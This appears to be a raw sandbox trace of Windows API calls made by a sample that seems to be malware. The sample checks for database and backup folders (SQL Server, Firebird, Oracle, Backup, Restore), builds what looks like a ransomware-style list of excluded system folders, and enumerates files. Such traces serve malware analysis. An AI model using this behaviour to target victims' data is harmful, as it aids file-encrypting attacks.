lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x551178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x553188, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@陖R阪R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0041.235] GetLastError () returned 0x3 [0041.235] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.235] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0041.235] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\ition\\") returned 21 [0041.236] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Microsoft SQL Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x551178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x553188, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@闌R企@\x18㿬Q\x181")) returned 0xffffffff [0041.236] GetLastError () returned 0x2 [0041.236] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.236] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0041.236] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\ition\\") returned 9 [0041.236] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Firebird", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x551178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x553188, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@翌R企@\x18?T\x18;")) returned 0xffffffff [0041.236] GetLastError () returned 0x2 [0041.236] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.236] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0041.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\ition\\") returned 8 [0041.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSSQL.1", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x551178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x553188, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0041.237] GetLastError () returned 0x2 [0041.237] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0041.237] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\ition\\") returned 37 [0041.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x551178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x553188, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@闌R企@\x18翌R\x18j")) returned 0xffffffff [0041.237] GetLastError () returned 0x2 [0041.238] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\ition\\") returned 37 [0041.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\ition\\") returned 6 [0041.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Adobe", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x551178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x553188, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@嵤R企@\x18?T\x18q")) returned 0xffffffff [0041.238] GetLastError () returned 0x2 [0041.238] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\翈R\x90") returned 6 [0041.238] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\ition\\") returned 7 [0041.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Oracle", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x551178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x553188, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@練R企@\x18?T\x18y")) returned 0xffffffff [0041.239] GetLastError () returned 0x2 [0041.239] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0041.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\ition\\") returned 7 [0041.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Archive", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x551178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x553188, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@翌R企@\x18?T\x18\x81")) returned 0xffffffff [0041.239] GetLastError () returned 0x2 [0041.239] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0041.239] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\ition\\") returned 6 [0041.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Backup", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x551178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x553188, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@嵤R企@\x18?T\x18\x88")) returned 0xffffffff [0041.240] GetLastError () returned 0x2 [0041.240] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0041.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\ition\\") returned 6 [0041.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Reserv", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x551178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x553188, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@練R企@\x18?T\x18\x8f")) returned 0xffffffff [0041.240] GetLastError () returned 0x2 [0041.240] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0041.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\ition\\") returned 7 [0041.241] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Restore", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x551178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x553188, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@翌R企@\x18?T\x18\x97")) returned 0xffffffff [0041.241] GetLastError () returned 0x2 [0041.241] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0041.241] GlobalLock (hMem=0x440004) returned 0x54f168 [0041.241] GlobalHandle (pMem=0x54f168) returned 0x440004 [0041.241] GlobalUnlock (hMem=0x440004) returned 0 [0041.241] GlobalLock (hMem=0x440004) returned 0x54f168 [0041.241] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.241] GlobalHandle (pMem=0x54f168) returned 0x440004 [0041.241] GlobalUnlock (hMem=0x440004) returned 0 [0041.241] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.241] GlobalUnlock (hMem=0x44000c) returned 0 [0041.241] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.241] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0041.242] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.242] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0041.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 46 [0041.242] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.242] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.242] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.242] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18ecbc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0041.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e694b0, cbMultiByte=11, lpWideCharStr=0x18e0bc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.242] GlobalLock (hMem=0x44000c) returned 0x54f168 [0041.242] GlobalHandle (pMem=0x54f168) returned 0x44000c [0041.242] GlobalUnlock (hMem=0x44000c) returned 0 [0041.242] GlobalLock (hMem=0x44000c) returned 0x54f168 [0041.242] GlobalLock (hMem=0x440004) returned 0x551178 [0041.242] GlobalHandle (pMem=0x54f168) returned 0x44000c [0041.242] GlobalUnlock (hMem=0x44000c) returned 0 [0041.242] GlobalHandle (pMem=0x551178) returned 0x440004 [0041.242] GlobalUnlock (hMem=0x440004) returned 0 [0041.243] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.243] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=11, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.243] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.243] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 18 [0041.243] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.243] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 28 [0041.244] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=10, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 10 [0041.244] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 8 [0041.244] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.244] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\", cchLength=0x2f | out: lpsz="c:\\program files\\common files\\microsoft shared\\") returned 0x2f [0041.244] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 13 [0041.244] GlobalLock (hMem=0x440004) returned 0x54f168 [0041.244] GlobalHandle (pMem=0x54f168) returned 0x440004 [0041.245] GlobalUnlock (hMem=0x440004) returned 0 [0041.245] GlobalLock (hMem=0x440004) returned 0x54f168 [0041.245] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.245] GlobalHandle (pMem=0x54f168) returned 0x440004 [0041.245] GlobalUnlock (hMem=0x440004) returned 0 [0041.245] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.245] GlobalUnlock (hMem=0x44000c) returned 0 [0041.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61ca8, cbMultiByte=3, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\ition\\") returned 3 [0041.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0041.245] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, 